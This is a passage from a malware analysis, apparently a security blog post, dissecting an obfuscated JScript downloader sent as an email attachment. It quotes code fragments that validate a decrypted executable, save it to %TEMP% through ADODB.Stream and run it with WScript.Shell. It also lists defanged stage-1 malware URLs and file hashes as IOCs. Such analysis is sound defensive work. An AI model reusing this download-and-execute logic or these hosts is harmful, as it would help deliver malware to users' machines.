        if (DAb4[Gp + Zx5] < 100 * 1024 || DAb4[Gp + Av(Zx5)] > 230 * 1024 || !XHw6(DAb4)) {
            Lp9 = 1;
            continue; //if something went wrong, retry everything
        }
        try {
            OMb(Uw, DAb4); // all good? proceed to next stage
        } catch (e) {
            break;
        };
...

You can also see the XHw6() function which checks the first two bytes of the decrypted binary against x4D\x5A commonly known as MZ:

The next step will call OMb() which in turn will call the final substitution routine St(). It’s job is to take another 127 bytes and replace them with hardcoded values stored in the local array HFw3[]:

The local array Ww now holds the decrypted binary and is ready to be written to disk:

...
    Fm[BEs + NSy + DGz + (function RFu8() {
        return NTs8;
    }())](St(Nq)); // ADODB.Stream.WriteText()

    // ADODB.Stream.SaveToFile(""%TEMP%/7eJ4XMIHWJarnl.exe", adSaveCreateOverWrite)
    Fm[GKj + ANb8 + Ds(GDa1)](GLq, 2);
...

The final step will execute the binary from the %TEMP% folder with 323 as the argument:

...
        // WScript.Shell.Run("%TEMP%/7eJ4XMIHWJarnl.exe 323");
        JEc3[DOo2 + Va0](Uw + (function FLv2() {
            return GAb;
        }())); 
        break;
...

The do-while main loop traps exceptions and if anything fails between download and execute, the script will wait 1 second and try the whole process again.

var Lp9 = 1;
...
do {
    ... // pick another URL
    try {
    ... // main loop
    } catch (e) {
        WScript[Ny6(AUt) + (function Em1() {
            return WZw;
        }()) + (function MPr8() {
            return KSx;
        }())](1000); // WScript["Sleep"](1000);
        continue;
    };
while (Lp9);

IOCs

Hardcoded stage 1 servers

hxxp://regeneratewert.ws/1qvvu9lu
hxxp://traveltotre.in/2c4ykij7
hxxp://escapegasmech.com/048220y5
hxxp://goldjinoz.com/0a3tg

Decrypted binary

# %TEMP%/7eJ4XMIHWJarnl.exe 
MD5: 7F20DC4906319652A136C89369F77116
SHA-256: F37B031056389AFD16A7FDD0A94D912100D1967FE0257963E5C6D7BFE0A2C6E3
SSDeep: 3072:L/NMf5oDPD/pCxpH3JR9P2ev4q3k4N7dH0CzzslzpyZcaZV04:GhQjpwhbJkaAdy

Email attachment

# a4b985103f4.zip
MD5: 26660D2A11B8DB76D28B4AFF5D08E34A
SHA-256: 38D5E30D0282617D2398B9819B287A21B1DD897AC747656170BBE2D961B85B6E
SSDeep: 192:yun3pWxM8gIW2HvNACkltcGmf/zDPS1uBpKJ4GG7NCwHeEvKSoehXNWWVq1Vwfk6:yun3pWxM0fHVAg7DPS1AqGhCwhZHZf3v

Stage 1 downloader

# business card 5a0fae48-.js
MD5: 8A9F3577EC370FCBDFF0101B1B5798BE
SHA-256: FDA2871DECA00EA0E7BB684165503525E06F2BD7D1313A9D5770D765B158A2F8
SSDeep: 384:UGJVn6iUFUZGxx9djhEzJd0rQ8RioPkNKtzkJyjK4N0f2YblYxJib9Z8RMS3rlph:7zZGxx9VSz70Hjk+M4VF